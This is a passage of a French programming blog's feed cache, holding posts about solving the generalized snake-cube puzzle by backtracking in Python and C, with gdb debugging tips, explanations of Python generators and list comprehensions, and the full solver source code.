(gdb) run

Le programme s’arrête sur le point d’arrêt :

Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];

Pour afficher le bout de code source concerné :

(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213	
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value < 0 || new_value >= dimensions[vector.position]) {

Il est possible de consulter les valeurs des variables (éventuellement en les formattant) grâce à p (print) :

(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}

Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :

(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}

Pour obtenir la pile d’exécution :

(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475

Pour avancer dans le programme, 3 commandes sont indispensables :

Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.

Conclusion

Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.

La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans certains cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.

Code source

Le code source est disponible sur ce dépôt git :

git clone http://git.rom1v.com/csnakesolver.git

(ou sur github).

Par contre, désolé, cette version est beaucoup moins commentée que la version Python.

";s:7:"dateiso";s:15:"20111018_233300";}s:15:"20110927_231034";a:7:{s:5:"title";s:35:"Résoudre le cube-serpent en Python";s:4:"link";s:65:"http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2954";s:7:"pubDate";s:31:"Tue, 27 Sep 2011 21:10:34 +0000";s:11:"description";s:371:"Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre). Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python. Je [...]";s:7:"content";s:86016:"

Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).
Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.
Je l’ai également implémenté en C.

L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube

Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.

Résolution

Problème

Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.

La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :

[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.

L’objectif est de trouver un chemin hamiltonien (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.

Principe

Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :

Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).

Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).

Limites

Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions « identiques ». Une amélioration serait de les détecter « au plus tôt » et de ne pas les construire.

La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.

Implémentation

Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).

Vector

Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.

Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).

Vector(position, value)

VolumeHelper

Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il « allume les petites lumières » associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).

SymmetryHelper

Cette classe a été ajoutée dans la version 0.2.
Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.

Solver

Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les solutions.

Solutions

Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :

$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...

Considérons la première solution :

([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])

Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x, puis de 1 sur l’axe y, de -1 sur l’axe x, etc.
Voici la représentation graphique de cette solution :

Fonctionnalités de Python

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.

Compréhension de liste

La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.

D’abord, dans la classe VolumeHelper :

def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return ([h] + t for h in xrange(self.dimensions[index])
            for t in self.all_points(index + 1))

La partie mise en gras signifie :

tous les éléments de la forme [h] + t (l’élément h en tête de liste suivie de la queue de la liste) pour h compris entre 0 et self.dimensions[index] (un entier) et pour tout t compris dans les résultats de l’appel récursif

Ça ne vous éclaire pas ? Dit plus simplement :

le résultat de la concaténation de chacun des nombres de 0 à n (avec n = self.dimensions[index]) à chacune des listes fournies par l’appel récursif

En fait, cette fonction fournit tous les points possibles pour les dimensions données.
Par exemple, si dimensions = [2, 2], alors le résultat sera :

[[0, 0], [0, 1], [1, 0], [1, 1]]

Pour dimensions = [2, 2, 3], le résultat sera :

[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]

Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !

Remarque : la compréhension de liste retourne une liste si elle est définie entre [], alors qu’elle retourne un générateur (un itérateur) si elle est définie entre ().

Second exemple, dans Solver.__solve_rec(…) :

for possible_vector in ( Vector(i, v)
                         for v in [ norm, -norm ]
                         for i in xrange(len(self.dimensions))
                         if i != previous_position ):

Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons de i et de v dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur i).
En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.

Itérateur

La notion d’itérateur est présente dans beaucoup d’autres langages. Un itérateur retourne un nouvel élément à chaque appel à la méthode next(). En pratique, il est souvent utilisé de manière transparente dans une boucle for variable in iterator :

for i in xrange(10):
    print i

xrange(…) retourne un itérateur et fournit les valeurs au fur et à mesure, alors que range(…) crée la liste de toutes les valeurs, qui est ensuite parcourue.

Yield

Les expressions yield permettent de créer un itérateur très simplement.

Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.

La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.

La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à next(). Gérer manuellement l’itération sur les solutions du cube-serpent semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées dans des appels récursifs.

C’est là qu’interviennent les expressions yield, qui répondent aux deux besoins en même temps. Utiliser une expression yield dans le corps d’une fonction suffit à transformer cette fonction en un générateur. Il n’est donc plus possible de retourner de valeur grâce à return.

Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.

Afin d’utiliser ce principe pour la génération des solutions, les fonctions SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas des fonctions ordinaires, mais des générateurs :

if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]

Grâce à cette implémentation, il est possible de parcourir toutes les solutions :

for solution in solver.solve():
    print solution

ou alors de ne générer que les k premières :

max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break

Lambdas

Python supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.

J’utilise cette fonctionnalité une fois dans le programme :

needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1

Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.

La fonction reduce(function, iterable, …) permet d’appliquer cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de manière à réduire l’iterable en une seule valeur.
Même si « ce qui se conçoit bien s’énonce clairement », la fonction reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…

Ici, donc, needed_length contient le produit de tous les éléments de la liste self.dimensions.

Conclusion

La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations « au plus tôt » serait une amélioration non négligeable (et pas si évidente).

Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.

J’espère que ça vous a amusé aussi.

Script

J’ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.
L’historique des scripts est disponible ici.

Voici le code source. Il est également disponible ici : snakesolver-0.2.1.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# 
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com
 
# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]
 
# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]
 
# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']
 
class Vector:
 
    """Base vector, with only one non-zero value."""
 
    def __init__(self, position, value):
        """Create a new base vector.
 
        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value
 
    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.
 
        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position < len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)
 
    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.
 
        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)
 
    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)
 
class VolumeHelper:
 
    """Volume helper for the solver.
 
    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.
 
    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """
 
    def __init__(self, dimensions):
        """Create a volume helper.
 
        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None
 
    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)
 
    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp
 
    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value
 
    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""
 
        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value < 0 or new_value >= self.dimensions[vector.position]:
            # outside volume
            return False
 
        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True
 
    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)
 
    def back(self):
        """Cancel the last move.
 
        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign
 
    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]
 
    def __repr__(self):
        return repr(cube_flags)
 
class SymmetryHelper:
 
    """Symmetry helper for the solver.
 
    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.
 
    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].
 
    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].
 
    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.
 
    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """
 
    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]
 
    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.
 
        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes
 
    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor
 
        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i
 
        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).
 
    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.
 
        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point
 
    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 
 
    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'
 
        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)
 
    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]
 
    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i
 
    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.
 
        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis
 
        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim
 
class SnakeCubeSolver:
 
    """Solver."""
 
    def __init__(self, dimensions, structure):
        """Create a new solver.
 
        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)
 
    def solve(self):
        """Solve the snake.
 
        This function returns an iterator: the full list of solutions is not
        created."""
 
        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution
 
    def __solve_rec(self, init_cursor, step):
        """Recursively solve.
 
        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
                # i != previous_position will always be True
                previous_position = -1 
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one
 
            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()
 
def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution
 
    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)
 
if __name__ == "__main__":
    main()
";s:7:"dateiso";s:15:"20110927_231034";}s:15:"20110927_211034";a:7:{s:5:"title";s:35:"Résoudre le cube-serpent en Python";s:4:"link";s:64:"http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python";s:4:"guid";s:64:"http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python";s:7:"pubDate";s:25:"2011-09-27T21:10:34+02:00";s:11:"description";s:0:"";s:7:"content";s:24207:"

cube-serpent

Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).

Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.

EDIT : Je l’ai également implémenté en C.

L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube

Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.

Résolution

Problème

Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.

La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :

snake

[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.

L’objectif est de trouver dans le graphe ainsi formé par le cube un chemin hamiltonien (un chemin qui passe par tous les sommets une fois et une seule) qui respecte la contrainte de la structure du serpent.

Principe

